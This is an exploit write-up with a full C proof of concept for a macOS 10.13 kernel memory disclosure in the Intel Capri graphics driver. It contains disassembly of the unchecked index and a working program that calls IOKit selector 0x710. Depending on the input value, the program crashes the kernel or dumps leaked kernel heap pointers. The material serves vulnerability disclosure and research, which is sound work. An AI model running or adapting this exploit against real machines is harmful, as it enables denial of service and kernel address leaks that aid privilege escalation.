macOS 10.13 (17A365) - Kernel Memory Disclosure due to Lack of Bounds Checking in 'AppleIntelCapriC

/*
AppleIntelCapriController::getDisplayPipeCapability reads an attacker-controlled dword value from a userclient structure
input buffer which it uses to index a small array of pointers to memory to copy back to userspace.
 
There is no bounds checking on the attacker supplied value allowing (with some heap grooming) the disclosure of arbitrary
kernel memory:
 
__text:000000000002ACE0                 mov     eax, [rbx]                ; structure input buffer
__text:000000000002ACE2                 mov     rsi, [rdi+rax*8+0E48h]    ; rax is controlled -> rsi read OOB
__text:000000000002ACEA                 cmp     byte ptr [rsi+1DCh], 0    ; as long as this byte isn't NULL
__text:000000000002ACF1                 jz      short loc_2AD10
__text:000000000002ACF3                 add     rsi, 1E11h      ; void *  ; add this offset
__text:000000000002ACFA                 mov     edx, 1D8h       ; size_t
__text:000000000002ACFF                 mov     rdi, r14        ; void *
__text:000000000002AD02                 call    _memcpy                   ; copy to structure output buffer, will be returned to userspace
 
Tested on MacOS 10.13 (17A365) on MacBookAir5,2
*/
 
// ianbeer
// build: clang -o capri_display_pipe capri_display_pipe.c -framework IOKit
 
#if 0
MacOS kernel memory disclosure due to lack of bounds checking in AppleIntelCapriController::getDisplayPipeCapability
 
AppleIntelCapriController::getDisplayPipeCapability reads an attacker-controlled dword value from a userclient structure
input buffer which it uses to index a small array of pointers to memory to copy back to userspace.
 
There is no bounds checking on the attacker supplied value allowing (with some heap grooming) the disclosure of arbitrary
kernel memory:
 
__text:000000000002ACE0                 mov     eax, [rbx]                ; structure input buffer
__text:000000000002ACE2                 mov     rsi, [rdi+rax*8+0E48h]    ; rax is controlled -> rsi read OOB
__text:000000000002ACEA                 cmp     byte ptr [rsi+1DCh], 0    ; as long as this byte isn't NULL
__text:000000000002ACF1                 jz      short loc_2AD10
__text:000000000002ACF3                 add     rsi, 1E11h      ; void *  ; add this offset
__text:000000000002ACFA                 mov     edx, 1D8h       ; size_t
__text:000000000002ACFF                 mov     rdi, r14        ; void *
__text:000000000002AD02                 call    _memcpy                   ; copy to structure output buffer, will be returned to userspace
 
Tested on MacOS 10.13 (17A365) on MacBookAir5,2
#endif
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
#include <IOKit/IOKitLib.h>
 
int main(int argc, char** argv){
  kern_return_t err;
 
  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl"));
 
  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
  }
 
  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 0, &conn);
  if (err != KERN_SUCCESS){
    printf("unable to get user client connection\n");
    return 0;
  }
 
  uint64_t inputScalar[16]; 
  uint64_t inputScalarCnt = 0;
 
  char inputStruct[4096];
  size_t inputStructCnt = 8;
  *(uint64_t*)inputStruct = 0x12345678; // crash
  //*(uint64_t*)inputStruct = 0x37; // disclose kernel heap memory
 
 
  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;
 
  char outputStruct[4096];
  size_t outputStructCnt = 4096;
  
  err = IOConnectCallMethod(
    conn,
    0x710,
    inputScalar,
    inputScalarCnt,
    inputStruct,
    inputStructCnt,
    outputScalar,
    &outputScalarCnt,
    outputStruct,
    &outputStructCnt);
 
  if (outputStructCnt > 20) {
    int n_leaked_ptrs = (outputStructCnt-7)/8;
    uint64_t* ptrs = (uint64_t*) (outputStruct+7);
    for (int i = 0; i < n_leaked_ptrs; i++) {
      printf("%016llx\n", ptrs[i]);
    }
  }
  return 0;
}